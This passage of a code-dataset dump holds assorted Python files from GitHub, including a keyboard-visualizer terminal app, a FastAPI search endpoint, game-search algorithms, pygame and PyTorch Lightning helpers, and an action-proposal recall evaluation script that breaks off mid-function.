    \", unsafe_allow_html=True)\n\n page_name = list()\n page_elt = list()\n\n for p in range(page_num):\n page_name_holder = st.text_input(label=f\"Name of page #{p}\", key=f\"pn{p}\")\n page_elt_holder = st.number_input(\n label=f\"Number of elements on page #{p}\", key=\"pe{p}\", value=1\n )\n if page_name_holder != \"\":\n page_name.append(page_name_holder)\n if page_elt_holder != 0:\n page_elt.append(page_elt_holder)\n\n if st.button(\"Create\"):\n struct.create_dir_structure(top_dir=dir_, name=app_name)\n\n content.create_app_file(top_dir=dir_, name=app_name, pages=page_name)\n content.create_default_pages(top_dir=dir_, name=app_name)\n\n content.write_default_utils_functions(top_dir=dir_, name=app_name)\n content.write_main_sidebar(top_dir=dir_, name=app_name, maintainer=\"Fred\")\n\n content.create_pages(top_dir=dir_, name=app_name, pages=page_name, elts=page_elt)\n\n content.create_batch_file(top_dir=dir_, name=app_name)\n\n\nif __name__ == \"__main__\":\n main()\n\n# --- CODE TO DO DYNAMIC ASSIGNMENT OF WIDGETS ---\n# to_be_deleted = set()\n# for i in range(10):\n# delete = st.checkbox(f'delete {i}?', False, key=f'delete_{i}')\n# if delete:\n# to_be_deleted.add(i)\n# st.write(to_be_deleted)\n","repo_name":"MarcSkovMadsen/awesome-streamlit","sub_path":"gallery/stream/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","stars":1834,"dataset":"github-code","pt":"62"} +{"seq_id":"14904643337","text":"import re\nimport curses\nimport keyboard\nimport sys\n\n\nnames_temp = r\"\"\"\n[esc][f1][f2][f3][f4][f5][f6][f7][f8][f9][f10][f11][f12]\n[`][1][2][3][4][5][6][7][8][9][0][minus][=][backspace] [insert][home][page up]\n[tab][q][w][e][r][t][y][u][i][o][p][[][]][\\] [delete][end][page down]\n[caps lock][a][s][d][f][g][h][j][k][l][;]['][enter]\n[left shift][z][x][c][v][b][n][m][,][.][/][right shift] [up]\n[left ctrl][left windows][left alt][space][right alt][right windows][menu][right ctrl] [left][down][right]\n\"\"\"\n\npos_temp = r\"\"\"\n[_] [_][_][_][_] [_][_][_][_] [_][__][__][__]\n[_][_][_][_][_][_][_][_][_][_][_][_][_][____] [_][_][_]\n[__][_][_][_][_][_][_][_][_][_][_][_][_][___] [_][_][_]\n[___][_][_][_][_][_][_][_][_][_][_][_][_____]\n[____][_][_][_][_][_][_][_][_][_][_][_______] [_]\n[__][__][__][________________][__][__][_][__] [_][_][_]\n\"\"\"\n\nkeyboard_temp = r\"\"\"\n[⎋] [₁][₂][₃][₄] [₅][₆][₇][₈] [₉][₁₀][₁₁][₁₂]\n[`][1][2][3][4][5][6][7][8][9][0][-][=][ ← ] [⎀][↤][↥]\n[↹ ][q][w][e][r][t][y][u][i][o][p][[][]][ \\ ] [¬][↦][↧]\n[⇪ ][a][s][d][f̲][g][h][j̲][k][l][;]['][ ⏎ ]\n[ ⇧ ][z][x][c][v][b][n][m][,][.][/][ ⇧ ] [↑]\n[⌃ ][𐌎 ][⌥ ][ ␣ ][⌥ ][𐌎 ][⌸][⌃ ] [←][↓][→]\n\"\"\"\n\nkeyboard_temp_shift = r\"\"\"\n[⎋] [₁][₂][₃][₄] [₅][₆][₇][₈] [₉][₁₀][₁₁][₁₂]\n[~][!][@][#][$][%][^][&][*][(][)][_][+][ ← ] [⎀][↤][↥]\n[↹ ][Q][W][E][R][T][Y][U][I][O][P][{][}][ | ] [¬][↦][↧]\n[⇪ ][A][S][D][F̲][G][H][J̲][K][L][:][\"][ ⏎ ]\n[ ⇧ ][Z][X][C][V][B][N][M][<][>][?][ ⇧ ] [↑]\n[⌃ ][𐌎 ][⌥ ][ ␣ ][⌥ ][𐌎 ][⌸][⌃ ] [←][↓][→]\n\"\"\"\n\n\nkeyboard_chewing_temp = r\"\"\"\n[⎋] [₁][₂][₃][₄] [₅][₆][₇][₈] [₉][₁₀][₁₁][₁₂]\n ※ ㄅ ㄉ ˇ ˋ ㄓ ˊ ˙ ㄚ ㄞ ㄢ ㄦ = [ ← ] [⎀][↤][↥]\n[↹ ]ㄆ ㄊ ㄍ ㄐ ㄔ ㄗ ㄧ ㄛ ㄟ ㄣ 「 」 [ \] [¬][↦][↧]\n[⇪ ]ㄇ ㄋ ㄎ ㄑ.ㄕ ㄘ ㄨ.ㄜ ㄠ ㄤ 、 [ ⏎ ]\n[ ⇧ ]ㄈ ㄌ ㄏ ㄒ ㄖ ㄙ ㄩ ㄝ ㄡ ㄥ [ ⇧ ] [↑]\n[⌃ ][𐌎 ][⌥ ][ ␣ ][⌥ ][𐌎 ][⌸][⌃ ] [←][↓][→]\n\"\"\"\n\nkeyboard_chewing_temp_shift = r\"\"\"\n[⎋] [₁][₂][₃][₄] [₅][₆][₇][₈] [₉][₁₀][₁₁][₁₂]\n~ ! @ # $ % ︿ & * ( ) — + [ ← ] [⎀][↤][↥]\n[↹ ]〔 〕{ } ‘ ’ + - × ÷ 『 』 [ \] [¬][↦][↧]\n[⇪ ]【 】 「 」. “ ” ≠. ≒ Λ : ; [ ⏎ ]\n[ ⇧ ]《 》 『 』 〝 〞 … , 。 ? [ ⇧ ] [↑]\n[⌃ ][𐌎 ][⌥ ][ ␣ ][⌥ ][𐌎 ][⌸][⌃ ] [←][↓][→]\n\"\"\"\n\nkeyboard_cangjie_temp = r\"\"\"\n[⎋] [₁][₂][₃][₄] [₅][₆][₇][₈] [₉][₁₀][₁₁][₁₂]\n[~][!][@][#][$][%][^][&][*][(][)][_][+][ ← ] [⎀][↤][↥]\n[↹ ]手 田 水 口 廿 卜 山 戈 人 心 【 】[ \] [¬][↦][↧]\n[⇪ ]日 尸 木 火.土 竹 十.大 中 ; ‘ [ ⏎ ]\n[ ⇧ ]重 難 金 女 月 弓 一 , 。/ [ ⇧ ] [↑]\n[⌃ ][𐌎 ][⌥ ][ ␣ ][⌥ ][𐌎 ][⌸][⌃ ] [←][↓][→]\n\"\"\"\n\n\nif len(sys.argv) > 1 and sys.argv[1] == \"chewing\":\n keyboard_temp = keyboard_chewing_temp\n keyboard_temp_shift = keyboard_chewing_temp_shift\n\nif len(sys.argv) > 1 and sys.argv[1] == \"cangjie\":\n keyboard_temp = keyboard_cangjie_temp\n keyboard_temp_shift = keyboard_chewing_temp_shift\n\n\ncodes = []\nfor match in re.finditer(r\"\\[(.+?)\\]\", names_temp):\n name = match.group(1)\n\n try:\n res = keyboard.key_to_scan_codes(name)\n except ValueError:\n res = ()\n\n if not res and name in (\"left windows\", \"right windows\"):\n # left/right windows => third/fourth alt\n try:\n res = keyboard.key_to_scan_codes(\"alt\")\n res = res[2:]\n except ValueError:\n res = ()\n\n if not res:\n codes.append(-1)\n elif len(res) == 1:\n codes.append(res[0])\n elif name.startswith(\"right \"):\n codes.append(res[1])\n else:\n codes.append(res[0])\n\n\npos = []\nfor match in re.finditer(r\"\\[.+?\\]\", pos_temp):\n start = match.start()\n num = match.end() - start\n prefix = pos_temp[:start]\n y = prefix.count(\"\\n\")\n x = len(prefix.split(\"\\n\")[-1])\n pos.append((y, x, num))\n\n\nPRESSED = 0\nRELEASED = 1\nCLEAR = 2\n\ndef add_key_attr(stdscr, y, x, num, state):\n if state == PRESSED:\n stdscr.chgat(y, x, num, curses.A_REVERSE)\n elif state == RELEASED:\n stdscr.chgat(y, x, num, curses.A_NORMAL)\n else:\n stdscr.chgat(y, x, 1, curses.A_DIM)\n stdscr.chgat(y, x+1, num-2, curses.A_NORMAL)\n stdscr.chgat(y, x+num-1, 1, curses.A_DIM)\n\ndef draw_keyboard(stdscr, shifted, pressed, prev):\n temp = keyboard_temp_shift if shifted else keyboard_temp\n for line, line_temp in enumerate(temp.split(\"\\n\")):\n stdscr.addstr(line, 0, line_temp)\n\n for y, x, num in pos:\n add_key_attr(stdscr, y, x, num, CLEAR)\n\n for scan_code in prev:\n y, x, num = pos[codes.index(scan_code)]\n add_key_attr(stdscr, y, x, num, RELEASED)\n\n for scan_code in pressed:\n y, x, num = pos[codes.index(scan_code)]\n add_key_attr(stdscr, y, x, num, PRESSED)\n\ntry:\n @curses.wrapper\n def main(stdscr):\n curses.use_default_colors()\n curses.curs_set(0)\n\n shifted = False\n pressed = set()\n prev = set()\n currkey = None\n count = 0\n\n stdscr.clear()\n draw_keyboard(stdscr, shifted, pressed, prev)\n\n while True:\n stdscr.refresh()\n event = keyboard.read_event()\n\n # stdscr.move(pos_temp.count(\"\\n\") + 1, 0)\n # stdscr.clrtobot()\n # stdscr.addstr(event.to_json())\n\n if event.event_type == \"down\":\n hotkey = keyboard.get_hotkey_name() or \"unknown\"\n if currkey == hotkey:\n count += 1\n else:\n currkey = hotkey\n count = 1\n stdscr.move(0, 0)\n stdscr.clrtoeol()\n stdscr.addstr(\"⌨ {}{}\".format(hotkey, str(f\" ✕ {count}\" if count > 1 else \"\")))\n\n if event.scan_code not in codes:\n continue\n\n y, x, num = pos[codes.index(event.scan_code)]\n if event.event_type == keyboard.KEY_DOWN:\n pressed.add(event.scan_code)\n prev.discard(event.scan_code)\n add_key_attr(stdscr, y, x, num, PRESSED)\n elif event.scan_code in pressed and not keyboard.is_modifier(event.scan_code):\n pressed.remove(event.scan_code)\n prev.add(event.scan_code)\n add_key_attr(stdscr, y, x, num, RELEASED)\n else:\n pressed.discard(event.scan_code)\n prev.discard(event.scan_code)\n add_key_attr(stdscr, y, x, num, CLEAR)\n\n if event.event_type == keyboard.KEY_DOWN and not keyboard.is_modifier(event.scan_code):\n for scan_code in prev:\n y, x, num = pos[codes.index(scan_code)]\n add_key_attr(stdscr, y, x, num, CLEAR)\n prev.clear()\n\n if not shifted and event.name == \"shift\" and event.event_type == \"down\":\n shifted = True\n elif shifted and event.name == \"shift\" and event.event_type == \"up\":\n shifted = False\n else:\n continue\n\n draw_keyboard(stdscr, shifted, pressed, prev)\n\nexcept KeyboardInterrupt:\n pass\n\nfinally:\n curses.flushinp()\n","repo_name":"worldmaker18349276/keyboard-visualizer","sub_path":"keyboard_visualizer.py","file_name":"keyboard_visualizer.py","file_ext":"py","file_size_in_byte":7726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6203448358","text":"import fastapi as _fastapi\r\nimport json\r\nfrom typing import Optional\r\nfrom fastapi import Query\r\n\r\napp = _fastapi.FastAPI()\r\n\r\n\r\nwith open('ant_veriler.json','r') as f:\r\n urunler = json.load(f)\r\n\r\n@app.get(\"/\")\r\ndef root():\r\n return {\"message\": \"hosgeldiniz\"}\r\n\r\n\r\n#tüm ürünler ve arama için\r\n@app.get('/search',status_code=200)\r\ndef search_urun(name: Optional[str] = Query(None, title=\"Name\",description=\"Aranacak Ürün Giriniz.\")):\r\n if name is None:\r\n return urunler\r\n else:\r\n people2 = [p for p in urunler if name.lower() in p ['urunismi'].lower()]\r\n return people2\r\n\r\n\r\n#http://127.0.0.1:8000/search?name=cilek /isme göre arama\r\n\r\n#http://127.0.0.1:8000/search /tüm verinin bulunduğu","repo_name":"tahsinsoyak/hal-fiyatlari-api","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30698553222","text":"# Algorithm is pretty simple. Second list that derived from the first one\r\n# will have elements equal to original or 1 to get the maximum cost. So on each\r\n# step it will check if it is better to take 1 or number's original value\r\n# Second list has 2 fields to store these possibilities. Repeates until all\r\n# elements on original list are done. Finally the maximum value of last element\r\n# on second list will represent the maximum cost of second list (X in PDF)\r\n\r\n# Algorithm has only 1 loop that iterates n-1 times (where n is length of the\r\n# input list, Y) has 2 simple assignments inside and 2 extra assignments on the\r\n# beginning. The sum will be 2*n + 2 and also a linear search to check if all\r\n# elements are bigger than 1 takes plus n = 3n + 2 = O(n) time for worst case\r\n\r\n\r\n\r\ndef listChecker(list):\r\n for i in range(0, len(list)):\r\n print(list[i])\r\n if list[i] < 1:\r\n return -1\r\n else:\r\n return 1\r\n\r\n\r\ndef find_maximum_cost(originList):\r\n length = len(originList)\r\n secondList = [[0 for i in range(2)] for j in range(length)]\r\n\r\n # Checking if all elements are bigger than zero\r\n if (listChecker(originList) == -1):\r\n return -1\r\n\r\n # Looking for best possibilitiy of each element to take it as 1 or it's\r\n # original value\r\n for i in range (1,length):\r\n first = secondList[i-1][0] # Value of total, assumed previous as 1\r\n second = secondList[i-1][1] + originList[i-1]-1 # Assuming current element as 1\r\n third = secondList[i-1][0] + originList[i]-1 # Assuming previous element as 1\r\n fourth = secondList[i-1][1] + abs(originList[i] - originList[i-1]) # Real interval between current and previous elements\r\n\r\n # Finding best possible values\r\n secondList[i][0] = max(first, second)\r\n secondList[i][1] = max(third, fourth)\r\n\r\n return max(secondList[length-1])\r\n\r\n\r\n\r\n\r\n\r\nY = [14,1,14,1,14]\r\ncost = find_maximum_cost(Y)\r\nprint(cost)\r\n# Expected Output: 52\r\n\r\nY = [1,9,11,7,3]\r\ncost = find_maximum_cost(Y)\r\nprint(cost)\r\n# Expected Output: 28\r\n\r\nY = [50,28,1,-1,13,7]\r\ncost = find_maximum_cost(Y)\r\nprint(cost)\r\n# Expected Output: 78\r\n","repo_name":"Layso/CSE321-Homeworks","sub_path":"HW5/maximum_cost_151044001.py","file_name":"maximum_cost_151044001.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16839014179","text":"###\n# Author: Kai Li\n# Date: 2022-05-27 10:27:56\n# Email: lk21@mails.tsinghua.edu.cn\n# LastEditTime: 2022-06-13 12:11:15\n###\nfrom rich import print\nfrom dataclasses import dataclass\nfrom pytorch_lightning.utilities import rank_zero_only\nfrom typing import Union\nfrom pytorch_lightning.callbacks.progress.rich_progress import *\nfrom rich.console import Console, RenderableType\nfrom rich.progress_bar import ProgressBar\nfrom rich.style import Style\nfrom rich.text import Text\nfrom rich.progress import (\n BarColumn,\n DownloadColumn,\n Progress,\n TaskID,\n TextColumn,\n TimeRemainingColumn,\n TransferSpeedColumn,\n ProgressColumn\n)\nfrom rich import print, reconfigure\n\n@rank_zero_only\ndef print_only(message: str):\n print(message)\n\n@dataclass\nclass RichProgressBarTheme:\n \"\"\"Styles to associate to different base components.\n\n Args:\n description: Style for the progress bar description. For eg., Epoch x, Testing, etc.\n progress_bar: Style for the bar in progress.\n progress_bar_finished: Style for the finished progress bar.\n progress_bar_pulse: Style for the progress bar when `IterableDataset` is being processed.\n batch_progress: Style for the progress tracker (i.e 10/50 batches completed).\n time: Style for the processed time and estimate time remaining.\n processing_speed: Style for the speed of the batches being processed.\n metrics: Style for the metrics\n\n https://rich.readthedocs.io/en/stable/style.html\n \"\"\"\n\n description: Union[str, Style] = \"#FF4500\"\n progress_bar: Union[str, Style] = \"#f92672\"\n progress_bar_finished: Union[str, Style] = \"#b7cc8a\"\n progress_bar_pulse: Union[str, Style] = \"#f92672\"\n batch_progress: Union[str, Style] = \"#fc608a\"\n time: Union[str, Style] = \"#45ada2\"\n processing_speed: Union[str, Style] = \"#DC143C\"\n metrics: Union[str, Style] = \"#228B22\"\n\nclass BatchesProcessedColumn(ProgressColumn):\n def __init__(self, style: Union[str, Style]):\n self.style = style\n super().__init__()\n\n def render(self, task) -> RenderableType:\n total = task.total if task.total != float(\"inf\") else \"--\"\n return Text(f\"{int(task.completed)}/{int(total)}\", style=self.style)\n\nclass MyMetricsTextColumn(ProgressColumn):\n \"\"\"A column containing text.\"\"\"\n\n def __init__(self, style):\n self._tasks = {}\n self._current_task_id = 0\n self._metrics = {}\n self._style = style\n super().__init__()\n\n def update(self, metrics):\n # Called when metrics are ready to be rendered.\n # This is to prevent render from causing deadlock issues by requesting metrics\n # in separate threads.\n self._metrics = metrics\n\n def render(self, task) -> Text:\n text = \"\"\n for k, v in self._metrics.items():\n text += f\"{k}: {round(v, 3) if isinstance(v, float) else v} \"\n return Text(text, justify=\"left\", style=self._style)\n\nclass MyRichProgressBar(RichProgressBar):\n \"\"\"A progress bar prints metrics at the end of each epoch\n \"\"\"\n\n def _init_progress(self, trainer):\n if self.is_enabled and (self.progress is None or self._progress_stopped):\n self._reset_progress_bar_ids()\n reconfigure(**self._console_kwargs)\n # file = open(\"/home/likai/data/Look2Hear/Experiments/run_logs/EdgeFRCNN-Noncausal.log\", 'w')\n self._console: Console = Console(force_terminal=True)\n self._console.clear_live()\n self._metric_component = MetricsTextColumn(trainer, self.theme.metrics)\n self.progress = CustomProgress(\n *self.configure_columns(trainer),\n self._metric_component,\n auto_refresh=False,\n disable=self.is_disabled,\n console=self._console,\n )\n self.progress.start()\n # progress has started\n self._progress_stopped = False","repo_name":"JusperLee/TDANet","sub_path":"look2hear/utils/lightning_utils.py","file_name":"lightning_utils.py","file_ext":"py","file_size_in_byte":3964,"program_lang":"python","lang":"en","doc_type":"code","stars":166,"dataset":"github-code","pt":"62"} +{"seq_id":"33997203550","text":"#!/usr/bin/env python\n\n\"\"\"\nbusquedas_adversarios.py\n------------------------\n\nModulo con las funciones genericas para la búsqueda con adversarios\n\nPara hacerlo orientado a objetos y pasar toda la información por\nreferencia (y hacer un poco más rápido el juego) vamos a mantener\nel estado del juego y el jugador actual dentro del juego.\n\n\"\"\"\n\nfrom random import shuffle\n\n\nclass JuegoSumaCeros2T:\n \"\"\"\n Clase abstracta para juegos de suma cero, por turnos para 2 jugadores.\n\n \"\"\"\n def __init__(self, x0, jugador=1):\n \"\"\"\n Inicializa el estado inicial del juego y el jugador\n que comienza (típicamente el primero)\n \n El estado se representa como una lista, y el estado inicial (x0) \n de preferencia se representa con una tupla\n \n El jugador puede ser 1 y -1 en este caso\n\n \"\"\"\n self.estado_inicial = x0\n self.estado = list(x0)\n self.jugador = jugador\n\n def jugadas_legales(self):\n \"\"\" \n Devuelve un iterable con las jugadas legales del jugador actual\n \n \"\"\"\n raise NotImplementedError(\"Hay que desarrollar este método, pues\")\n\n def es_terminal(self):\n \"\"\" \n Devuelve True si el juago está en una posición terminal\n \n \"\"\"\n raise NotImplementedError(\"Hay que desarrollar este método, pues\")\n \n def utilidad(self):\n \"\"\" \n Devuelve la utilidad (final) del juador 1\n\n \"\"\"\n raise NotImplementedError(\"Hay que desarrollar este método, pues\")\n\n def hacer_jugada(self, jugada):\n \"\"\" \n Realiza la juagada, cambia self.estado y self.jugador, devuelve None\n \n Recuerda que el estado es una lista, para poder hacer cambios\n por referencia y ahorrar un poco de tiempo en cada nodo\n \n \"\"\"\n raise NotImplementedError(\"Hay que desarrollar este método, pues\")\n\n def deshacer_jugada(self, estado_anterior):\n \"\"\" \n Restaura el estado anterior y cambia el jugador en turno.\n Devuelve None\n \n \"\"\"\n self.estado = estado_anterior[:]\n self.jugador *= -1\n \n def copia_estado(self):\n return self.estado[:]\n\n\ndef minimax(juego, dmax=100, heuristica=None):\n inicial = juego.jugador\n return max(\n juego.jugadas_legales(),\n key=lambda a:inicial * negval(a, juego, inicial, dmax - 1, heuristica)\n )\n\ndef negval(jugada, juego, paso, dmax, heuristica):\n\n anterior = juego.copia_estado()\n juego.hacer_jugada(jugada)\n\n if juego.es_terminal():\n valor = juego.utilidad()\n elif heuristica != None and dmax == 0:\n valor = heuristica(juego)\n else:\n valor = paso * min(\n paso * negval(a, juego, -paso, dmax - 1, heuristica) \n for a in juego.jugadas_legales()\n )\n juego.deshacer_jugada(anterior)\n return valor\n\ndef orden_aleatorio(jugadas):\n jugadas = list(jugadas)\n shuffle(jugadas)\n return jugadas\n\n#PUNTO 1, TABLA DE TRANSPOSICIONES\ndef alpha_beta(juego, dmax=12, heuristica=None, orden_jugadas=None):\n if heuristica == None:\n heuristica = lambda j:j.utilidad()\n if orden_jugadas == None:\n orden_jugadas = orden_aleatorio\n\n tabla_transposicion = {}\n \n jugada, _ = negamax(\n juego, dmax, -1e10, 1e10, juego.jugador, heuristica, orden_jugadas, tabla_transposicion\n )\n return jugada\n\ndef negamax(juego, d, alpha, beta, lado, heuristica, orden_jugadas, tabla_transposicion):\n clave = (tuple(juego.estado), d, lado)\n if clave in tabla_transposicion:\n valor, profundidad, mejor_jugada = tabla_transposicion[clave]\n if profundidad >= d:\n return mejor_jugada, valor\n\n if juego.es_terminal():\n return None, lado * juego.utilidad()\n if d == 0:\n return None, lado * heuristica(juego)\n\n jugadas = orden_jugadas(juego.jugadas_legales(), juego)\n valor = -1e10\n\n for jugada in jugadas:\n estado_anterior = juego.copia_estado()\n juego.hacer_jugada(jugada)\n _, v = negamax(juego, d - 1, -beta, -alpha, -lado, heuristica, orden_jugadas, tabla_transposicion)\n juego.deshacer_jugada(estado_anterior)\n if -v > valor:\n mejor_jugada, valor = jugada, -v\n alpha = max(alpha, valor)\n if alpha >= beta:\n break\n\n tabla_transposicion[clave] = (valor, d, mejor_jugada)\n return mejor_jugada, valor\n","repo_name":"KevRStrider/AI","sub_path":"Conecta4/busquedas_adversarios.py","file_name":"busquedas_adversarios.py","file_ext":"py","file_size_in_byte":4458,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15366736995","text":"import pygame as pg\nimport ColorsFonts as CF\n\nclass DISPLAY:\n def __init__(self, size):\n self.size = size\n self.screen = pg.display.set_mode(self.size, pg.RESIZABLE)\n self.clock = pg.time.Clock()\n self.color = CF.COLOR()\n self.font = CF.FONT()\n self.font.setFontSF('herculanum', 20)\n def screenFill(self, color):\n self.screen.fill(self.color.COLORLIST[color])\n def setScreenSize(self, size):\n self.size = size\n def screenFillLame(self, xOff, yOff):\n GameNameDisplayTextL = 'L'\n textXOffset = xOff\n textYOffset = yOff\n renderGameNameDisplayTextL = self.font.font.render(GameNameDisplayTextL, True, self.color.COLORLIST[\"RED\"])\n self.screen.blit(renderGameNameDisplayTextL, [10+textXOffset, 7+textYOffset])\n GameNameDisplayTextA = 'A'\n renderGameNameDisplayTextA = self.font.font.render(GameNameDisplayTextA, True, self.color.COLORLIST[\"YELLOW\"])\n self.screen.blit(renderGameNameDisplayTextA, [23+textXOffset, 7+textYOffset])\n GameNameDisplayTextM = 'M'\n renderGameNameDisplayTextM = self.font.font.render(GameNameDisplayTextM, True, self.color.COLORLIST[\"BLUE\"])\n self.screen.blit(renderGameNameDisplayTextM, [37+textXOffset, 7+textYOffset])\n GameNameDisplayTextE = 'E'\n renderGameNameDisplayTextE = self.font.font.render(GameNameDisplayTextE, True, self.color.COLORLIST[\"ORANGE\"])\n self.screen.blit(renderGameNameDisplayTextE, [60+textXOffset, 7+textYOffset])\n def blitText(self, text, font, size, colorOf, whereAt):\n blitFont = CF.FONT()\n blitFont.setFontSF(font, size)\n storedString = text\n renderString = blitFont.font.render(storedString, True, self.color.COLORLIST[colorOf])\n self.screen.blit(renderString, whereAt)\n def getTextWidth(self, text, font, size):\n blitFont = CF.FONT()\n blitFont.setFontSF(font, size)\n storedString = text\n renderString = blitFont.font.render(storedString,True, self.color.COLORLIST['BLACK'])\n renderedWidth = renderString.get_width()\n return renderedWidth\n def screenFillGameNameRPG(self, gamename, versionID, gamecolor, yOffset, lameXoff, lameYOff):\n gamenameWidth = self.getTextWidth(gamename, 'herculanum', 30)\n rWidth = self.getTextWidth('R', 'herculanum', 30)\n pWidth = self.getTextWidth('P', 'herculanum', 30)\n gWidth = self.getTextWidth('G', 'herculanum', 30)\n versionWidth = self.getTextWidth('Version ' + versionID, 'herculanum', 20)\n self.blitText(gamename, 'herculanum', 30, gamecolor, [(self.size[0]/2)-((gamenameWidth+5+rWidth+1+pWidth+1+gWidth+1)/2), 5+yOffset])\n self.blitText('R', 'herculanum', 30, 'RED', [(self.size[0]/2)-((gamenameWidth+5+rWidth+1+pWidth+1+gWidth+1)/2)+(gamenameWidth+5), 5+yOffset])\n self.blitText('P', 'herculanum', 30, 'YELLOW', [(self.size[0]/2)-((gamenameWidth+5+rWidth+1+pWidth+1+gWidth+1)/2)+(gamenameWidth+5+rWidth+1), 5+yOffset])\n self.blitText('G', 'herculanum', 30, 'BLUE', [(self.size[0]/2)-((gamenameWidth+5+rWidth+1+pWidth+1+gWidth+1)/2)+(gamenameWidth+5+rWidth+1+pWidth), 5+yOffset])\n self.blitText('Version ' + versionID, 'herculanum', 20, 'WHITE', [(self.size[0])-versionWidth-10-lameXoff, 7+lameYOff])\n def drawGameBorder(self, thickness):\n pg.draw.rect(self.screen, self.color.COLORLIST['WHITE'], [0, 40, self.size[0], thickness])\n","repo_name":"mgomoka/VSCode","sub_path":"VSCode-Python/LamePygamePymunkStuff/PyGamePyMunkGameDesignTest/DisplayWindow.py","file_name":"DisplayWindow.py","file_ext":"py","file_size_in_byte":3452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22857813948","text":"import io\nimport requests\nimport sys\nimport matplotlib as mpl\n\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport pickle\nimport os\n\n\n\n\ndef segment_tiou(target_segments, test_segments):\n \"\"\"Compute intersection over union btw segments\n Parameters\n ----------\n target_segments : ndarray\n 2-dim array in format [m x 2:=[init, end]]\n test_segments : ndarray\n 2-dim array in format [n x 2:=[init, end]]\n Outputs\n -------\n tiou : ndarray\n 2-dim array [m x n] with IOU ratio.\n Note: It assumes that target-segments are more scarce that test-segments\n \"\"\"\n if target_segments.ndim != 2 or test_segments.ndim != 2:\n raise ValueError('Dimension of arguments is incorrect')\n\n m, n = target_segments.shape[0], test_segments.shape[0]\n tiou = np.empty((m, n))\n for i in range(m):\n tt1 = np.maximum(target_segments[i, 0], test_segments[:, 0])\n tt2 = np.minimum(target_segments[i, 1], test_segments[:, 1])\n\n # Non-negative overlap score\n intersection = (tt2 - tt1 + 1.0).clip(0)\n union = ((test_segments[:, 1] - test_segments[:, 0] + 1) +\n (target_segments[i, 1] - target_segments[i, 0] + 1) -\n intersection)\n # Compute overlap as the ratio of the intersection\n # over union of two segments at the frame level.\n tiou[i, :] = intersection / union\n return tiou\n\n\n# Retrieves and loads DAPs proposal results.\nfrm_nums = pickle.load(open(\"./frm_num.pkl\"))\ndaps_results = pd.DataFrame(rows, columns=['f-end', 'f-init', 'score', 'video-frames', 'video-name'])\n\n# Retrieves and loads Thumos14 test set ground-truth.\nground_truth_url = ('https://gist.githubusercontent.com/cabaf/'\n 'ed34a35ee4443b435c36de42c4547bd7/raw/'\n '952f17b9cdc6aa4e6d696315ba75091224f5de97/'\n 'thumos14_test_groundtruth.csv')\ns = requests.get(ground_truth_url).content\nground_truth = pd.read_csv(io.StringIO(s.decode('utf-8')), sep=' ')\n\n\ndef average_recall_vs_nr_proposals(proposals, ground_truth,\n tiou_thresholds=np.linspace(0.5, 1.0, 11)):\n \"\"\" Computes the average recall given an average number\n of proposals per video.\n\n Parameters\n ----------\n proposals : DataFrame\n pandas table with the resulting proposals. It must include\n the following columns: {'video-name': (str) Video identifier,\n 'f-init': (int) Starting index Frame,\n 'f-end': (int) Ending index Frame,\n 'score': (float) Proposal confidence}\n ground_truth : DataFrame\n pandas table with annotations of the dataset. It must include\n the following columns: {'video-name': (str) Video identifier,\n 'f-init': (int) Starting index Frame,\n 'f-end': (int) Ending index Frame}\n tiou_thresholds : 1darray, optional\n array with tiou threholds.\n\n Outputs\n -------\n average_recall : 1darray\n recall averaged over a list of tiou threshold.\n proposals_per_video : 1darray\n average number of proposals per video.\n \"\"\"\n # Get list of videos.\n video_lst = proposals['video-name'].unique()\n\n # For each video, computes tiou scores among the retrieved proposals.\n score_lst = []\n for videoid in video_lst:\n # Get proposals for this video.\n prop_idx = proposals['video-name'] == videoid\n this_video_proposals = proposals[prop_idx][['f-init',\n 'f-end']].values\n # Sort proposals by score.\n sort_idx = proposals[prop_idx]['score'].argsort()[::-1]\n this_video_proposals = this_video_proposals[sort_idx, :]\n\n # Get ground-truth instances associated to this video.\n gt_idx = ground_truth['video-name'] == videoid\n this_video_ground_truth = ground_truth[gt_idx][['f-init',\n 'f-end']].values\n\n # Compute tiou scores.\n tiou = segment_tiou(this_video_ground_truth, this_video_proposals)\n score_lst.append(tiou)\n\n # Given that the length of the videos is really varied, we\n # compute the number of proposals in terms of a ratio of the total\n # proposals retrieved, i.e. average recall at a percentage of proposals\n # retrieved per video.\n\n # Computes average recall.\n pcn_lst = np.arange(1, 101) / 100.0\n matches = np.empty((video_lst.shape[0], pcn_lst.shape[0]))\n positives = np.empty(video_lst.shape[0])\n recall = np.empty((tiou_thresholds.shape[0], pcn_lst.shape[0]))\n # Iterates over each tiou threshold.\n for ridx, tiou in enumerate(tiou_thresholds):\n\n # Inspect positives retrieved per video at different\n # number of proposals (percentage of the total retrieved).\n for i, score in enumerate(score_lst):\n # Total positives per video.\n positives[i] = score.shape[0]\n\n for j, pcn in enumerate(pcn_lst):\n # Get number of proposals as a percentage of total retrieved.\n nr_proposals = int(score.shape[1] * pcn)\n # Find proposals that satisfies minimum tiou threhold.\n matches[i, j] = ((score[:, :nr_proposals] >= tiou).sum(axis=1) > 0).sum()\n\n # Computes recall given the set of matches per video.\n recall[ridx, :] = matches.sum(axis=0) / positives.sum()\n\n # Recall is averaged.\n recall = recall.mean(axis=0)\n\n # Get the average number of proposals per video.\n proposals_per_video = pcn_lst * (float(proposals.shape[0]) / video_lst.shape[0])\n\n return recall, proposals_per_video\n\n\ndef average_recall_vs_freq(proposals, ground_truth, frm_nums,\n tiou_thresholds=np.linspace(0.5, 1.0, 11)):\n # Get list of videos.\n video_lst = proposals['video-name'].unique()\n\n # For each video, computes tiou scores among the retrieved proposals.\n score_lst = []\n score_name = []\n for videoid in video_lst:\n # Get proposals for this video.\n prop_idx = proposals['video-name'] == videoid\n this_video_proposals = proposals[prop_idx][['f-init',\n 